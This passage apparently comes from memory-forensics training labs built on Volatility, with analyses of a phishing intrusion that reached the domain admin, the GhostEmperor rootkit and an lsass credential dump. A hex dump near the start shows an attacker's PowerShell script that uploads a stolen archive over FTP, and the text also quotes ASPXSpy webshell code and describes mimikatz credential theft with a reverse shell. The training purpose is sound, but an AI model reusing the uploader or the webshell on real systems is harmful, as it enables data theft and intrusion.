0000000040: 74 2e 72 61 72 22 29 0a 24 66 74 70 20 3d 20 5b t.rar").$ftp.=.[
0000000050: 53 79 73 74 65 6d 2e 4e 65 74 2e 46 74 70 57 65 System.Net.FtpWe
0000000060: 62 52 65 71 75 65 73 74 5d 24 66 74 70 0a 24 66 bRequest]$ftp.$f
0000000070: 74 70 2e 4d 65 74 68 6f 64 20 3d 20 5b 53 79 73 tp.Method.=.[Sys
0000000080: 74 65 6d 2e 4e 65 74 2e 57 65 62 52 65 71 75 65 tem.Net.WebReque
0000000090: 73 74 4d 65 74 68 6f 64 73 2b 46 74 70 5d 3a 3a stMethods+Ftp]::
00000000a0: 55 70 6c 6f 61 64 46 69 6c 65 0a 24 66 74 70 2e UploadFile.$ftp.
00000000b0: 43 72 65 64 65 6e 74 69 61 6c 73 20 3d 20 6e 65 Credentials.=.ne
00000000c0: 77 2d 6f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e w-object.System.
00000000d0: 4e 65 74 2e 4e 65 74 77 6f 72 6b 43 72 65 64 65 Net.NetworkCrede
00000000e0: 6e 74 69 61 6c 28 22 61 6e 6f 6e 79 6d 6f 75 73 ntial("anonymous
00000000f0: 22 2c 22 61 6e 6f 6e 79 6d 6f 75 73 40 6c 6f 63 ","anonymous@loc
0000000100: 61 6c 68 6f 73 74 22 29 0a 24 66 74 70 2e 55 73 alhost").$ftp.Us
0000000110: 65 42 69 6e 61 72 79 20 3d 20 24 74 72 75 65 0a eBinary.=.$true.
0000000120: 24 66 74 70 2e 55 73 65 50 61 73 73 69 76 65 20 $ftp.UsePassive.
0000000130: 3d 20 24 74 72 75 65 0a 24 63 6f 6e 74 65 6e 74 =.$true.$content
0000000140: 20 3d 20 5b 53 79 73 74 65 6d 2e 49 4f 2e 46 69 .=.[System.IO.Fi
0000000150: 6c 65 5d 3a 3a 52 65 61 64 41 6c 6c 42 79 74 65 le]::ReadAllByte
0000000160: 73 28 22 43 3a 5c 5c 57 69 6e 64 6f 77 73 5c 5c s("C:\\Windows\\
0000000170: 53 79 73 74 65 6d 33 32 5c 5c 54 65 61 6d 43 6f System32\\TeamCo
0000000180: 6d 6d 75 6e 69 63 61 74 6f 72 5c 5c 74 2e 72 61 mmunicator\\t.ra
0000000190: 72 22 29 0a 24 66 74 70 2e 43 6f 6e 74 65 6e 74 r").$ftp.Content
00000001a0: 4c 65 6e 67 74 68 20 3d 20 24 63 6f 6e 74 65 6e Length.=.$conten
00000001b0: 74 2e 4c 65 6e 67 74 68 0a 24 72 73 20 3d 20 24 t.Length.$rs.=.$
00000001c0: 66 74 70 2e 47 65 74 52 65 71 75 65 73 74 53 74 ftp.GetRequestSt
00000001d0: 72 65 61 6d 28 29 0a 24 72 73 2e 57 72 69 74 65 ream().$rs.Write
00000001e0: 28 24 63 6f 6e 74 65 6e 74 2c 20 30 2c 20 24 63 ($content,.0,.$c
00000001f0: 6f 6e 74 65 6e 74 2e 4c 65 6e 67 74 68 29 0a 24 ontent.Length).$
0000000200: 72 73 2e 43 6c 6f 73 65 28 29 0a 24 72 73 2e 44 rs.Close().$rs.D
0000000210: 69 73 70 6f 73 65 28 29 0a ispose().
As can be seen, this script is used to exfiltrate a file named t.rar within the TeamCommunicator
directory.
After investigating Reed’s system, we know that the attacker(s) had access to many domain
credentials, including Pierce’s, who is a domain administrator. To investigate the DC01 sample,
we will start with a similar process taken for Reed’s – looking for suspicious executables,
followed by timeline analysis.
Review of executables that were run on the DC01 system reveals nothing suspicious or
malicious. This does not mean that system is clean though as attackers with credentials can
perform many attacks over the network or through memory-only staging on the victims system.
Review of the timeline leads to a major discovery. Around the timeframe of when the attacker(s)
were active, we see the creation of two files in the IIS webroot:
As can be seen, the default.aspx file is a simple backdoor that allows commands to be run
against the web server. The iisstart.aspx script was not found by filescan though, so strings
analysis must be used instead. A good starting place is the first several bytes of the default.aspx
file: “<%@ Page Language”. Searching for these across physical memory leads to discovery of
the following script (output is abbreviated):
2555039843 <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
2555039921 <%@ import Namespace="System.IO" %>
2555039957 <%@ import Namespace="System.Diagnostics" %>
2555040002 <%@ import Namespace="System.Data" %>
2555040040 <%@ import Namespace="System.Data.OleDb" %>
2555040084 <%@ import Namespace="Microsoft.Win32" %>
2555040126 <%@ import Namespace="System.Net.Sockets" %>
2555040171 <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral,
PublicKeyToken=B03F5F7F11D50A3A" %>
2555040286 <%@ import Namespace="System.DirectoryServices" %>
2555040337 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2555040460 <script runat="server">
2555040488 Thanks Snailsor,FuYu
2555040511 Code by Bin
As is visible in the output, this is the ASPXSpy webshell. To determine the types of activity
associated with these backdoors, web requests should be searched for access to them. To
begin this process, we can extract and analyze the web server logs:
$ grep W3 filescan.txt
0x00000000067d2f20 33 1 -W-r--
\Device\HarddiskVolume1\inetpub\logs\LogFiles\W3SVC1\u_ex160824.log
0x00000001be4cb240 1 1 ------ \Device\NamedPipe\W32TIME_ALT
0x00000001be500d60 2 1 ------ \Device\NamedPipe\W32TIME_ALT
0x00000001be525d60 1 1 ------ \Device\NamedPipe\W32TIME_ALT
$ volatility -f dc.lime.raw --profile=Win2008R2SP1x64_23418 dumpfiles -D out -Q
0x00000000067d2f20 -n
Volatility Foundation Volatility Framework 2.5
DataSectionObject 0x067d2f20 None
\Device\HarddiskVolume1\inetpub\logs\LogFiles\W3SVC1\u_ex160824.log
SharedCacheMap 0x067d2f20 None
\Device\HarddiskVolume1\inetpub\logs\LogFiles\W3SVC1\u_ex160824.log
If we then grep for access to the two backdoor files, we find even further proof of compromise:
Careful examination of these logs shows that the requests were from 128.199.111.106 – which
is the same IP address that sent the initial phishing email!
To dig into these requests further, we can search across the memory sample looking for HTTP
requests to these two resources. Since they both process requests as POST, the weblogs do
not tell us the precise manner in which the attacker interacted with the backdoors. Through this
process, we can find the body of several requests:
As a direct result of the above command being executed through the webshell (dir C:\inetpub),
there’s a command shell process (PID 8112) showing up as a child of one of the w3wp.exe
instances (IIS workers):
Another crucial finding during this processing is that the attacker logged into the OWA web
interface as the Pierce user:
This is proof that Pierce’s stolen credentials were not only used to map the C$ share remotely
but also to log into his email account. Searching through strings looking for access to further
web resources would also reveal that the server was configured to use Basic Authentication,
which allows us to recover the plaintext password of Pierce:
Investigation Summary
At this point in the investigation we have proven that the Team Communicator software was
indeed malicious and that the data exfiltration performed by the malicious toolset allowed for
lateral movement from Reed’s system to the domain controller. We also know that the IIS server
running on the domain controller was backdoored with two web shells (China Chopper and
AspxSpy) around the time of the attack and the same attacker who sent the original phishing
email later logged onto the OWA as Pierce (the domain admin).
1. An attacker in Singapore sends a targeted email to a user in the company (from another
user in the company)
2. The email contains an attachment (exe inside zip) and instructions on how to install Team
Communicator
3. The exe drops a small toolkit (mimikatz, netcat, batch script, and PowerShell uploader)
to %SYSTEM%\TeamCommunicator
4. The exe schedules two tasks
5. One task runs mimikatz every 5 minutes, dumps results to pwd.txt, and uploads the file
back to the attacker via FTP (tscix.ddns.net)
6. The other task initiates a connect back cmd.exe shell to tscix.ddns.net on port 443
7. The victim user emails "Pierce" (domain admin) and asks for help configuring the Team
Communicator now that its installed
8. The domain admin doesn’t recognize the email and RDPs into the user’s machine to have
a look around
9. Pierce runs malwarebytes junk removal tool (JRT) on Reed’s machine and finds nothing,
logs out
10. The scheduled task runs and domain admin credentials go out to the attacker
11. The next scheduled task runs and gives the attacker a shell
12. The attacker maps C$ of the domain controller / exchange server
13. Installs china chopper and aspxspy web shells
14. rar’s up documents and contracts from the corp file server (EXCHANGE\TSCData) and
exfils to ftp with a PowerShell script
15. Starts to test the webshells
16. Logs onto outlook web access as domain admin
17. The domain admin gets malwarebytes anti-malware for the victim, installs, runs, and finds
nothing
18. 3 memory dumps taken as a precaution
Note: the malware specimen zip password is “infected” (without the quotes).
1. This malware installs a malicious kernel timer. What is the address of the timer routine and
how often does it trigger?
2. How many callbacks does the malware install and what types?
3. How many drivers does the malware create? Why are they suspicious?
4. What range(s) of kernel memory are occupied by the malicious code? Leverage clues you
found in the process of answering questions 1, 2, and 3 to help you locate them.
To dump the malicious code segment with moddump, you’ll need to figure out the kernel
module(s) base address (where the MZ header exists) or name. Based on your answer from
question 4, you should have a general idea of the ranges, but not the exact starting address.
You can use one of the following tricks to help:
1) Write a python script in volshell to search before one of your known addresses looking for the
PE header. For example, inside volshell:
You would of course need to fill in the highlighted values. This script starts 1MB behind the
given address and scans forward looking for the MZ header. Note that it checks the first four
static bytes of the header instead of just two (“MZ”) to be more resilient.
2) Use a hex editor / viewer to look for the MZ signature. Since your standard hex editors have
no concept of virtual addresses, you can leverage Volatility to translate your virtual addresses
into physical offsets (within the file).
>>> addrspace().vtop(ADDRESS)
You would take the resulting value, and seek to that offset in your hex editor after opening the
memory dump file. Then scroll up until you see the MZ header. At this point, you’ll know the
distance from the offset to the start of the PE file.
Answers
1. This malware installs a malicious kernel timer. What is the address of the timer routine and
how often does it trigger?
The malicious routine is 0x81b99db0 – you can tell because the owning module cannot be
identified (it is missing from the loaded module list). This routine is executed every 60000
milliseconds by the system.
2. How many callbacks does the malware install and what types?
3. How many drivers does the malware create? Why are they suspicious?
You saw in the callbacks output that a driver named \Driver\03621276 is associated with the
shutdown callback. Let’s pivot and investigate that lead with the driverscan command. As
shown below, it turns out that there’s another driver named \Driver\03621275 – a name too
close to the malicious one to be a coincidence. Both of them have zeroed starting addresses
and sizes, as shown in previous labs.
There’s a third driver with a missing Name and Driver Name. Only its Service Key (.mrxsmb)
is present. Without further investigation, it is impossible to say that .mrxsmb is a malicious
driver object, but it definitely satisfies the criteria for extra attention.
$ volatility -f rootkit.mem driverscan
Volatility Foundation Volatility Framework 2.4
Offset(P) #Ptr Start Size Service Key Name Driver Name
---------- ---- ---------- ---------- -------------------- --------- -----------
0x01e109b8 1 0x00000000 0x0 \Driver\03621276 \Driver\03621276
<snip>
0x020f7cc0 5 0xf83c8000 0x19b80 Mup Mup \FileSystem\Mup
0x0214f4c8 1 0x00000000 0x0 \Driver\03621275 \Driver\03621275
0x021523f0 4 0xb2158000 0xd000 .mrxsmb
0x0225ab10 3 0xb244b000 0xed80 sysaudio sysaudio \Driver\sysaudio
0x0225dc08 3 0xb2d2a000 0x21b80 AFD AFD \Driver\AFD
4. What range(s) of kernel memory are occupied by the malicious code? Leverage clues you
found in the process of answering questions 1, 2, and 3 to help you locate them.
So far you’ve seen a timer pointing at 0x81b99db0 and two callbacks at 0x81b934e0 and
0x81b92d60 – all within 8 KB of each other. This indicates all of the routines are probably
functions of the same kernel module. You’ve seen two driver objects, both with zeroed base
addresses and sizes, and one claiming to be at 0xb2158000 of size 0xd000. The modscan
output supports the evidence that a driver was or is loaded at 0xb2158000 – although the
names are also blanked out.
You can leverage volshell to see if this malware, unlike the previous malware, zeroed out
the entire _DRIVER_OBJECT structure or just select fields. This first offset is for
\Driver\03621376:
As you can see, the driver’s start and size are zeroed, but the DriverInit is in-tact!
2176398992 is 0x81b93690 in hex, which falls in the same range we already suspect to be
suspicious.
This driver has a slightly different initialization address (0x81b9a0c0) but still close enough
to the range we already know about. There is no need to check the _DRIVER_OBJECT
of .mrxsmb because driverscan already printed the base and size for that object.
In volshell, you can see that the .mrxsmb driver actually has a PE header:
>>> db(0xb2158000)
0xb2158000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0xb2158010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0xb2158020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xb2158030 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 ................
0xb2158040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 ........!..L.!Th
0xb2158050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f is.program.canno
0xb2158060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 t.be.run.in.DOS.
0xb2158070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 mode....$.......
That means you should be able to use the moddump plugin and pass it a --base address.
As for the other driver objects, we have addresses in the general vicinity but not the image
base. You can use the scanning technique to look for a PE header. We’ll start with
0x81b93690 which is one of the DriverInit values and move 1 MB back – then scan forward
to find the “MZ” signature.
There seems to be a hit at 0x81b91b80. Let’s pass it to moddump and see if it works!
$ volatility -f rootkit.mem moddump -b 0x81b91b80 -D mods/
Volatility Foundation Volatility Framework 2.4
Module Base Module Name Result
----------- -------------------- ------
0x081b91b80 UNKNOWN OK: driver.81b91b80.sys
You’re in luck. You now have copies of both hidden kernel modules.
In late 2021, Kaspersky reported on a series of infections by an APT group that it refers to as
GhostEmperor. The malware deployed by this APT group was profiled in a well written blog
post:
https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/
Further details were documented in a PDF linked from the blog post:
https://media.kasperskycontenthub.com/wp-
content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf
In this lab, you have been given a memory sample from a machine infected with the
GhostEmperor malware, which contains userland and kernel components. As stated in the
report, the userland component exists as a hidden service which communicates with the kernel
through IOCTL commands. This is a standard mechanism provided by the operating system for
applications to send “requests” to kernel drivers. These requests are sent to the
IRP_MJ_DEVICE_CONTROL handler in a driver’s IRP table. Rootkits heavily abuse this feature
to allow malicious processes to request privileged actions from the kernel mode components.
Your task in this lab is to verify the malware activity contained in the report against what you
could find with Volatility. The questions along the way will provide you with a process to
complete the tasks, and these steps can be utilized to detect unknown rootkits in the wild during
your real investigations.
Warning: Question 6 reveals key details of question 5. Do not read ahead for this question.
1. The GhostEmperor report states that IOCTL value 0x220300 instructs the rootkit to hide its
service from the list maintained by services.exe. This is performed to hide the service from
the live system, including tools like sc.exe.
0x220300: Hides the malware’s service from a list within the services.exe process
address space. The service’s name is passed as an argument to the IOCTL, in turn
being sought in a system-maintained linked list.
Verify if there are hidden services within the memory sample. If so, what are their name(s)
and other relevant details?
_________________________________________________________________________
_________________________________________________________________________
2. The report states that the malware enters the kernel through abuse of a vulnerable driver
named dbk64.sys (BYOVD).
After dropping the dbk64.sys driver with a randomly generated filename to disk and
loading it, the malware issues documented IOCTLs to the driver that allow shellcode
to be run in kernel space [snip]
Can you find signs of any suspicious drivers recently loading on the system?
________________________________________________________________________
3. The report states that after loading, the rootkit tampers with its module metadata to interfere
with detection. The report further states that the driver object can still be found in memory
even with the tampering. Verify if there are any hidden modules on the system. If so, list any
relevant details related to the module and its associated driver object.
_________________________________________________________________________
_________________________________________________________________________
4. The report states that IOCTL value 0x220308 instructs the rootkit to hide network
connections belonging to the hidden service:
0x220308: Hides TCP connections that make use of ports within a given range from
utilities that list them, such as netstat. This is done through a known method
whereby the IOCTL dispatch (interrupt) routine of the NSI proxy driver is hooked
and the completion routine is set to one that inspects the port of a given
connection.
Later in that section, the report states that the hidden services sends code 0x12001b to the
IOCTL handler to specify which connections should be hidden. Verify if this hooking of NSI
proxy’s interrupt request (IRP) table has occurred and, if so, if it can be tied definitively back
to the rootkit in the report.
_________________________________________________________________________
_________________________________________________________________________
5. The report states that IOCTL value 0x22030C instructs the rootkit to register a registry
notification callback to hide the malware’s registry data on the live system:
0x22030C: Hides malware-related registry keys by hooking several registry
operations through the CmRegisterCallback API [snip]
_________________________________________________________________________
_________________________________________________________________________
Interestingly, the pointer passed to CmRegisterCallback does not contain the direct
address of the function handling the logic above, but instead an address at the end
of the executable section of the pci.sys driver’s image, which is originally filled
with zeros as a means to align the section in memory. Before passing the callback
pointer to CmRegisterCallback, such a section is sought within the pci.sys driver
and the corresponding bytes within it are patched so as to invoke the call to the
actual callback handling the above logic, as outlined below. This allows all
intercepted registry operations to appear as if they are handled by code that
originates in the legit pci.sys driver.
Using volshell, can you verify that the registry callback associated with pci.sys has actually
been hooked?
_________________________________________________________________________
_________________________________________________________________________
7. The report states that IOCTL value 0x220304 instructs the rootkit to register a file system
registration callback to then attach to the device stack of NTFS components:
0x220304: This IOCTL is used to register a file system filter driver’s notification
routine by using the IoRegisterFSRegistrationChange API. The notification routine
invoked upon registration of a new file system verifies if it is an NTFS-based one
and if so, creates a device object for the rootkit which is attached to the subject
file system’s device stack.
Can you verify 1) that this callback was registered, and 2) if any file system components
have the rootkit attached to their device stack?
_________________________________________________________________________
_________________________________________________________________________
Answers
1. Verify if there are hidden services within the memory sample. If so, what are their name(s)
and other relevant details?
The svcdiff plugin is Volatility’s direct method for detecting hidden services:
As shown, the plugin only reports one service – Msdecode, which is listed as running in its
own process with PID 4756. Msdecode is also the service name as listed in the Kaspersky
report.
To further explore the process, we can run dlllist to quickly determine the path of the DLL
hosting the service:
This leads to us the msdecode.dll highlighted in red. If required for our investigation, we
could then use Volatility’s dlldump plugin to extract this executable to disk and begin static
analysis.
2. Can you find signs of any suspicious drivers recently loading on the system?
There are three plugins in Volatility that can list kernel drivers (modules) on the system –
modules, modscan, and unloadedmodules. Of these, modules and modscan do not find any
references to Msdecode nor any other suspicious entries, but unloadedmodules directly
solves the question:
$ volatility … unloadedmodules
Name StartAddress EndAddress Time
----- ------------- ----------------- ------------------
hwpolicy.sys 0xfffff80dfee70000 0xfffff80dfee80000 2022-04-21 04:20:15
WdBoot.sys 0xfffff80dfdda0000 0xfffff80dfddb1000 2022-04-21 04:20:15
dam.sys 0xfffff8010b150000 0xfffff8010b16c000 2022-04-21 04:20:16
dump_dumpfve.sys 0xfffff80dfefd0000 0xfffff80dfefee000 2022-04-21 04:20:16
dump_LSI_SAS.sys 0xfffff80dfef90000 0xfffff80dfefb0000 2022-04-21 04:20:16
dump_storport.sys 0xfffff80dfef60000 0xfffff80dfef70000 2022-04-21 04:20:16
tupxqrpz.tmp 0xfffff8010bc70000 0xfffff8010bc95000 2022-04-21 04:27:12
Not only is tupxqrpz.tmp a very suspicious name for a driver, but it also seems to match the
description in the report of a randomly generated base name for the driver used to bypass
driver signing enforcement.
3. Verify if there are any hidden modules on the system. If so, list any relevant details.
In this output, we can see that the dump_audio_codec0 driver does not map back to a
known module. To inspect dump_audio_codec0 further, we need to find the address of at
least one its components. The reporting of the driver’s metadata by drivermodule means
that we can at least inspect the driver object (a few columns removed for formatting):
$ volatility … driverscan
Offset(P) Start Size. Driver Name
------------------ ------------------ ---- ------------------------
[snip]
0x0000e38a94f022e0 0x0000000000000000 0x0 \Driver\dump_audio_codec0
As expected, the metadata of the start (base address) and size are overwritten, but we can
dig in further with volshell:
>>> hex(18446735282047243232)
'0xfffff801081753e0L'
As highlighted, several of the fields are set to 0 by the malware, but not the DriverInit
handler. This tells the region of kernel memory where the rootkit is active.
4. Verify if this hooking of NSI proxy’s interrupt request table has occurred and, if so, if it can
be tied definitively back to the rootkit in the report.
Inspecting the IRP handlers for nsiproxy verifies that a hook of nsiproxy’s IOCTL handler is
present:
$ volatility … driverirp
[snip]
DriverName: nsiproxy
DriverStart: 0xfffff8010b0c0000
DriverSize: 0x12000
DriverStartIo: 0x0
0 IRP_MJ_CREATE 0xfffff8010b0c24b0 nsiproxy.sys
[snip]
13 IRP_MJ_FILE_SYSTEM_CONTROL 0xfffff8010b0c24b0 nsiproxy.sys
14 IRP_MJ_DEVICE_CONTROL 0xffffe38a8ed14168 Unknown
15 IRP_MJ_INTERNAL_DEVICE_CONTROL 0xfffff8010b0c24b0 nsiproxy.sys
16 IRP_MJ_SHUTDOWN 0xfffff8010b0c24b0 nsiproxy.sys
17 IRP_MJ_LOCK_CONTROL 0xfffff8010b0c24b0 nsiproxy.sys
[snip]
Static analysis of the handler in volshell confirms the hook as matching the one in the report
due to the immediate check for the special 0x12001b IOCTL value.
$ volatility … volshell
>>> dis(0xffffe38a8ed14168)
0xffffe38a8ed14168 48895c2408 MOV [RSP+0x8], RBX
0xffffe38a8ed1416d 48896c2410 MOV [RSP+0x10], RBP
0xffffe38a8ed14172 4889742418 MOV [RSP+0x18], RSI
0xffffe38a8ed14177 57 PUSH RDI
0xffffe38a8ed14178 4883ec20 SUB RSP, 0x20
0xffffe38a8ed1417c 488b9ab8000000 MOV RBX, [RDX+0xb8]
0xffffe38a8ed14183 488bf2 MOV RSI, RDX
0xffffe38a8ed14186 488be9 MOV RBP, RCX
0xffffe38a8ed14189 817b181b001200 CMP DWORD [RBX+0x18], 0x12001b
Running the callbacks plugin and filtering for registry callbacks reveals two entries:
Both pci.sys and WdFilter.sys are legitimate components of Windows and do not
immediately reveal any signs of GhostEmperor.
6. Using volshell, can you verify that the registry callback associated with pci.sys has been
hooked?
The callbacks plugins entry for pci.sys shows the handler address as 0xfffff80dfde90a00:
Investigating the callback address reveals that the handler is indeed hooked as described in
the report:
>>> dis(0xfffff80dfde90a00)
0xfffff80dfde90a00 68886dd18e PUSH DWORD 0x8ed16d88
0xfffff80dfde90a05 c74424048ae3ffff MOV DWORD [RSP+0x4], 0xffffe38a
0xfffff80dfde90a0d c3 RET
This code writes an 0xffffe38a8ed16d88 onto the top of the stack and then forces its
execution with a ret instruction. This is a classic example of inline API hooking.
7. Can you verify 1) that this callback was registered, and 2) if any file system components
have the rootkit attached to their device stack?
Careful analysis of the address of this callback handler shows that it is one page before the
CmRegisterCallback handler from the previous question. This is a very strong indicator that
both are path of the rootkit. After confirming the callback as registered, we can then run
devicetree looking for references to either dump_audio_codec0 or to attaches by unknown
modules. This reveals multiple attaches by dump_audio_codec0
$ volatility … devicetree
[snip]
DRV 0xe38a8fa48dc0 \FileSystem\Ntfs
---| DEV 0xffffe38a8fd53030 FILE_DEVICE_DISK_FILE_SYSTEM
------| ATT 0xffffe38a8fa15d30 - \FileSystem\FltMgr FILE_DEVICE_DISK_FILE_SYSTEM
---------| ATT 0xffffe38a9464e500 - \Driver\dump_audio_codec0
---| DEV 0xffffe38a8faace10 Ntfs FILE_DEVICE_DISK_FILE_SYSTEM
------| ATT 0xffffe38a8fbbbd60 - \FileSystem\FltMgr FILE_DEVICE_DISK_FILE_SYSTEM
---------| ATT 0xffffe38a8f2672c0 - \Driver\dump_audio_codec0
[snip]
DRV 0xe38a8fa49dc0 \FileSystem\FltMgr
---| DEV 0xffffe38a936cd9d0 FILE_DEVICE_MAILSLOT
---| DEV 0xffffe38a936cdc30 FILE_DEVICE_NAMED_PIPE
---| DEV 0xffffe38a8fa15d30 FILE_DEVICE_DISK_FILE_SYSTEM
------| ATT 0xffffe38a9464e500 - \Driver\dump_audio_codec0
---| DEV 0xffffe38a8fb69cf0 FILE_DEVICE_NETWORK_FILE_SYSTEM
---| DEV 0xffffe38a8fbbbd60 FILE_DEVICE_DISK_FILE_SYSTEM
------| ATT 0xffffe38a8f2672c0 - \Driver\dump_audio_codec0
Closing note: We did not include a question related to dumping the malicious driver to disk for
analysis as it is essentially unable to be analyzed this way. Instead, the anti-forensics makes it
to where advanced reverse engineering skills would be needed to perform any type of detailed
static analysis.
1. What is the name and process ID of the process that performed the dump? How does
pstree help confirm this process is suspicious? What directory was the dump tool executed
from?
2. How did the attacker access the domain controller and what IP address were they
connecting from?
4. Can you recover any of the files used or created by the attacker or provide any other details
about them?
Answers
1. What is the name and process ID of the process that performed the dump? How does
pstree help confirm this process is suspicious? What directory was the dump tool executed
from?
The suspicious process is named lsass.exe with PID 1172. Using pstree confirms this
process is suspicious because it is a child of the legitimate lsass.exe which shouldn’t have
any child processes and there should only be one lsass.exe running.
For the final part of this question, you can check for any recent shimcache entries for executed
files and find the path C:\Users\john-admin.
2. How did the attacker access the domain controller and what IP address were they
connecting from?
The rdpclip.exe process seen in the process listing is an indicator of a Remote Desktop
Connection being present on the server. It’s also found in the sessions plugin output along
with the cmd.exe and powershell.exe processes in the same session.
<snip>
**************************************************
Session(V): ffffaa8169663000 ID: 2 Processes: 28
PagedPoolStart: b45 PagedPoolEnd ffffc80080000000
Process: 4348 csrss.exe 2023-04-24 20:16:50 UTC+0000
Process: 5084 winlogon.exe 2023-04-24 20:16:50 UTC+0000
You can also look for the RDP protocol port 3389 in the netscan output to confirm the RDP
connection and see the attacker’s IP address 192.168.2.132.
$ volatility -f data.lime --profile=Win2022x64_20348 --kdbg=0xf8074cd52f2c –-dtb=0x1ae000
netscan | grep 3389
Volatility Foundation Volatility Framework 2.6
0xe685133389f0 TCPv4 0.0.0.0:49665 0.0.0.0:0 LISTENING
588 wininit.exe 2023-04-24 20:08:58 UTC+0000
0xe68513339d30 TCPv4 0.0.0.0:3389 0.0.0.0:0 LISTENING
1028 svchost.exe 2023-04-24 20:09:01 UTC+0000
0xe68513339d30 TCPv6 :::3389 :::0 LISTENING
1028 svchost.exe 2023-04-24 20:09:01 UTC+0000
0xe68513339e90 TCPv4 0.0.0.0:3389 0.0.0.0:0 LISTENING
1028 svchost.exe 2023-04-24 20:09:01 UTC+0000
0xe685169cd2b0 TCPv4 192.168.2.133:3389 192.168.2.132:64903
ESTABLISHED 1028 svchost.exe 2023-04-25 15:31:21 UTC+0000
The command history from the consoles plugin shows the attacker mapped a network share
from a host at 192.168.1.64, copied the lsass.exe file over, executed it, then moved the
memory dump file back to the share.
4. Can you recover any of the files used or created by the attacker or provide any other details
about them?
Unfortunately, you will just get empty files if you try to dump with dumpfiles.
$ ls –l
-rw-r--r-- 1 analyst analyst 4293943488 Apr 25 10:39 data.lime
-rw-r--r-- 1 analyst analyst 0 Sep 18 14:39
file.None.0xffffe685144e7700.lsass.exe.img
-rw-r--r-- 1 analyst analyst 0 Sep 18 14:39
file.None.0xffffe68517d1f150.lsass.exe.dat
There are entries for both lsass.exe and lsass.dmp in the MFT, though.
$STANDARD_INFORMATION
$FILE_NAME
Creation Modified MFT Altered
Access Date Name/Path
------------------------------ ------------------------------ ---------------------
--------- ------------------------------ ---------
2023-04-25 15:37:55 UTC+0000 2023-04-25 15:37:55 UTC+0000 2023-04-25 15:37:55
UTC+0000 2023-04-25 15:37:55 UTC+0000 Users\john-admin\lsass.exe
$DATA
$OBJECT_ID
Object ID: 40000000-0000-0000-0030-020000000000
Birth Volume ID: 00240200-0000-0000-0024-020000000000
Birth Object ID: 312342f7-0300-0000-ffff-ffff82794711
Birth Domain ID: 00000000-0000-0000-0000-000000000000
***************************************************************************
***************************************************************************
MFT entry found at offset 0x9843f000
Attribute: File
Record Number: 24820
Link count: 1
$STANDARD_INFORMATION
Creation Modified MFT Altered
Access Date Type
------------------------------ ------------------------------ ---------------------
--------- ------------------------------ ----
2023-04-25 15:38:07 UTC+0000 2023-04-25 15:38:17 UTC+0000 2023-04-25 15:38:17
UTC+0000 2023-04-25 15:38:17 UTC+0000 Archive
$FILE_NAME
Creation Modified MFT Altered
Access Date Name/Path
------------------------------ ------------------------------ ---------------------
--------- ------------------------------ ---------
2023-04-25 15:38:07 UTC+0000 2023-04-25 15:38:07 UTC+0000 2023-04-25 15:38:07
UTC+0000 2023-04-25 15:38:07 UTC+0000 lsass.dmp
$DATA
The first clue is the argument passed to the tool seen in the command history (-d 2). The full
console output also showed some output from running the tool.
C:\Users\john-admin>lsass.exe -d 2
Attempt to leak process handles from lsass: 0x06ac 0x06f8 0x0704...
Lsass dump created with leaked handle! Check the path C:\lsass.dmp
The sample collection used Volcano-Endpoint and included the Windows Event logs. Tools
that use the secondary logon API CreateProcessWithLogonW can leave behind an event
log entry with the SID of a valid user but with a different username. A SID is unique per user,
so identifying two users with the same SID would be abnormal. These logs are in the
Windows Crypto DPAPI event logs. The logs can be parsed with evtx_dump.py and you can
find both the john-admin user and the MalseclogonUser that the tool used in the API call
have the same SID.
$ cd ../files/C/Windows/system32/winevt/logs
$ evtx_dump.py Microsoft-Windows-Crypto-DPAPI%4Operational.evtx > /tmp/crypto.dmp
$ egrep -i 'UserSid|UserName' /tmp/crypto.dmp
<Data Name="UserName">CORP\john-admin</Data>
<Data Name="UserSid">S-1-5-21-3281877144-2946737029-1499437570-1107</Data>
<Data Name="UserName">CORP\john-admin</Data>
<Data Name="UserSid">S-1-5-21-3281877144-2946737029-1499437570-1107</Data>
<Data Name="UserName">MalseclogonDomain\MalseclogonUser</Data>
<Data Name="UserSid">S-1-5-21-3281877144-2946737029-1499437570-1107</Data>
This confirms the use of MalSecLogon with the leaked handles and cloned lsass process
method.
A SOC team member at your organization received an alert of suspicious network activity
originating from one of your cloud-hosted web servers. This led to an incident response team
member accessing the server through SSH and running several commands to gather the list of
running processes, active network connections, etc. Review of the output of these commands
found nothing suspicious. A Volcano-Endpoint collection was then scheduled to gather memory
relevant files.
Lab Files:
This contains files named after the command used to generate the stored output. These were
download by the IR analyst after gathering live system state: https://volexity-memory-
forensics.s3.amazonaws.com/Training/LinuxWebCompromise/ir_commands.zip
This is the collection made through Volcano-Endpoint, which includes memory (data.lime) and
collected files: https://volexity-memory-
forensics.s3.amazonaws.com/Training/LinuxWebCompromise/LinuxWebCompromise_2023042
4160519.zip
This is the Volatility profile for the compromised system. Copy this under
/usr/share/volatility/volatility/plugins/overlays/linux of your VM: https://volexity-memory-
forensics.s3.amazonaws.com/Training/LinuxWebCompromise/LabProfile.zip
Profile: LinuxLabProfilex64
Suggested Plugins: linux_pslist, linux_pstree, linux_find_file, linux_bash, linux_netstat,
linux_proc_maps, linux_dump_map
1. Since this incident began with a network alert, it makes sense to begin by looking at network
activity. Examine network activity by studying netstat.txt in ir_commands.zip. Do any entries
look suspicious? Note any process names, PIDs, and IP addresses.
_________________________________________________________________________
_________________________________________________________________________
